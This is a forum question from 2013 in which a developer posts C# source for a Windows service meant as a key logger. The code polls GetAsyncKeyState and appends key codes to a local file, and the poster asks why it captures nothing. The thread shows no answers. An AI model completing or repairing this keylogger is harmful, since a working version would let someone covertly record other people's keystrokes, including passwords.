none
GetAsyncKeyState always return zero in window service in window 7. RRS feed

  • Question

  • Hello,

    I am trying to create window service as a key Logger.

    But due to any reason "GetAsyncKeyState()"  always return zero.

    Please check my attached code.

    InputListener.cs

    namespace WindowsService1
    {
        public class InputListener
        {
    
            [DllImport("user32.dll")]
            public static extern short GetAsyncKeyState(int vKey);
    
    
            public delegate void KeyPressHandler(object inputListener, KeyPressEventArgs KeyPressInfo);
            public event KeyPressHandler OnKeyPress;
    
            public void Run()
            {
                Thread thdMain = new Thread(new ThreadStart(RunThread));
    
                thdMain.Start();
    
            }
            private void RunThread()
            {
                while (true)
                {
                    Thread.Sleep(10);
    
                    #region Key Press Logger
    
                    // check for key presses
                    int i = 0;
    
                    for (i = 1; i < Byte.MaxValue; i++)
                    {
                        if (GetAsyncKeyState(i) == Int16.MinValue + 1)
                        {
                            KeyPressEventArgs KeyPressInfo = new KeyPressEventArgs(Control.ModifierKeys, i);
                            if (OnKeyPress != null)
                            {
                                OnKeyPress(this, KeyPressInfo);
                            }
                        }
                    }
    
                    #endregion
                }
    
            }
    
        }
    
        public class KeyPressEventArgs : EventArgs
        {
            public KeyPressEventArgs(Keys ModifierKeys,
             int KeyCode)
            {
                this.ModifierKeys = ModifierKeys;
                this.KeyCode = KeyCode;
            }
            public readonly Keys ModifierKeys;
            public readonly int KeyCode;
    
        }
    }

    Service1.cs

    namespace WindowsService1
    {
        public partial class Service1 : ServiceBase
        {
    
            string strFilePath = @"e:\testfile.txt";
    
    
            public Service1()
            {
                InitializeComponent();
            }
    
            protected override void OnStart(string[] args)
            {
    
                InputListener inputListener = new InputListener();
                //inputListener.OnMouseButton += new InputListener.MouseButtonHandler(InputListener_MouseButton);
                //inputListener.OnKeyPress += new InputListener.KeyPressHandler(InputListener_KeyPress);
                inputListener.OnKeyPress += new InputListener.KeyPressHandler(inputListener_OnKeyPress);
                inputListener.Run();
    
    
                if (File.Exists(strFilePath))
                {
                    using (StreamWriter sw = File.AppendText(strFilePath))
                    {
                        sw.Write("service started");
                    }
                }
            }
    
            void inputListener_OnKeyPress(object inputListener, KeyPressEventArgs KeyPressInfo)
            {
                writeTextInFile(KeyPressInfo.KeyCode + "_" + DateTime.Now.ToString());
            }
    
    
            protected void writeTextInFile(string _key)
            {
                if (File.Exists(strFilePath))
                {
                    using (StreamWriter sw = File.AppendText(strFilePath))
                    {
                        sw.WriteLine(_key);
                    }
                }
            }
    
    
            protected override void OnStop()
            {
    
            }
    
        }
    }

    OS : Window 7 enterprise 64 bit

    .Net Framework : 4.0

    Note : I have already set/checked the "Allow service to interact with desktop" in the service.

    Let me know if you want some more information.



    Friday, August 9, 2013 9:11 AM

Answers

All replies